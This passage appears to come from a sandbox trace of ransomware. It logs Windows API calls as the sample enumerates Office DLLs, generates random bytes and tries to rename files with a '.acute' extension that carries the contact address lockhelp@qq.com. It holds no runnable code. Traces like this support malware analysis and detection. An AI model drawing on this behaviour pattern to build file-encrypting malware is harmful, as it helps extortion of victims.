"c:\\program files\\common files\\microsoft shared\\office14\\1033\\mssoapr3.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.241] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0273.241] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\oarpmanr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.241] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=11656) returned 1 [0273.241] CloseHandle (hObject=0x368) returned 1 [0273.241] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\oarpmanr.dll")) returned 0x20 [0273.241] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\oarpmanr.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.242] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\oarpmanr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.242] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0273.242] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\xlsrvintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.242] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=105344) returned 1 [0273.242] CloseHandle (hObject=0x368) returned 1 [0273.243] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\xlsrvintl.dll")) returned 0x20 [0273.243] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\xlsrvintl.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.243] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\xlsrvintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.243] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0273.243] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acecore.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.243] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=3213192) returned 1 [0273.243] CloseHandle (hObject=0x368) returned 1 [0273.244] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acecore.dll")) returned 0x20 [0273.244] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acecore.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acecore.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0273.244] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acecore.dll.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acecore.dll")) returned 0 [0273.244] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0273.244] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acedao.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.244] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=744888) returned 1 [0273.244] CloseHandle (hObject=0x368) returned 1 [0273.244] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acedao.dll")) returned 0x20 [0273.244] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acedao.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.244] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acedao.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.244] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0273.244] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceerr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.245] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=43408) returned 1 [0273.245] CloseHandle (hObject=0x368) returned 1 [0273.245] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceerr.dll")) returned 0x20 [0273.245] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceerr.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.245] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceerr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.245] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0273.245] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acees.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0273.246] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=1012648) returned 1 [0273.246] CloseHandle (hObject=0x30c) returned 1 [0273.246] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acees.dll")) returned 0x20 [0273.246] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acees.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.246] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acees.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.246] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0273.246] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexch.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0273.247] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=442272) returned 1 [0273.247] CloseHandle (hObject=0x30c) returned 1 [0273.247] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexch.dll")) returned 0x20 [0273.247] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexch.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.247] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexch.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.247] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0273.247] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexcl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0273.247] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=899992) returned 1 [0273.247] CloseHandle (hObject=0x30c) returned 1 [0273.247] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexcl.dll")) returned 0x20 [0273.247] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexcl.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.247] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexcl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.247] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0273.247] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodbc.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0273.248] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=342960) returned 1 [0273.248] CloseHandle (hObject=0x30c) returned 1 [0273.248] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodbc.dll")) returned 0x20 [0273.248] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodbc.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.248] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodbc.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.248] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0273.248] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoddbs.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0273.249] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=15800) returned 1 [0273.249] CloseHandle (hObject=0x30c) returned 1 [0273.249] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoddbs.dll")) returned 0x20 [0273.249] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoddbs.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.249] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoddbs.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.249] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0273.249] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodexl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0273.250] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=15800) returned 1 [0273.250] CloseHandle (hObject=0x30c) returned 1 [0273.250] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodexl.dll")) returned 0x20 [0273.250] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodexl.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.250] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodexl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.250] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0273.250] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodtxt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0273.250] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=15800) returned 1 [0273.250] CloseHandle (hObject=0x30c) returned 1 [0273.250] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodtxt.dll")) returned 0x20 [0273.250] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodtxt.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.250] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodtxt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.250] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0273.250] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoledb.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0273.251] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=537504) returned 1 [0273.251] CloseHandle (hObject=0x30c) returned 1 [0273.251] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoledb.dll")) returned 0x20 [0273.251] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoledb.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.252] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoledb.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.252] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0273.252] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acer3x.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0273.252] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=451480) returned 1 [0273.252] CloseHandle (hObject=0x30c) returned 1 [0273.252] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acer3x.dll")) returned 0x20 [0273.252] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acer3x.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.252] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acer3x.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.252] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0273.252] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerclr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0273.253] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=55744) returned 1 [0273.253] CloseHandle (hObject=0x30c) returned 1 [0273.253] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerclr.dll")) returned 0x20 [0273.253] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerclr.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.253] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerclr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.253] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0273.253] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerep.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0273.253] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=691616) returned 1 [0273.253] CloseHandle (hObject=0x30c) returned 1 [0273.253] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerep.dll")) returned 0x20 [0273.253] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerep.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.253] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerep.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.254] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0273.254] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acetxt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0273.254] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=297360) returned 1 [0273.254] CloseHandle (hObject=0x30c) returned 1 [0273.254] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acetxt.dll")) returned 0x20 [0273.254] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: 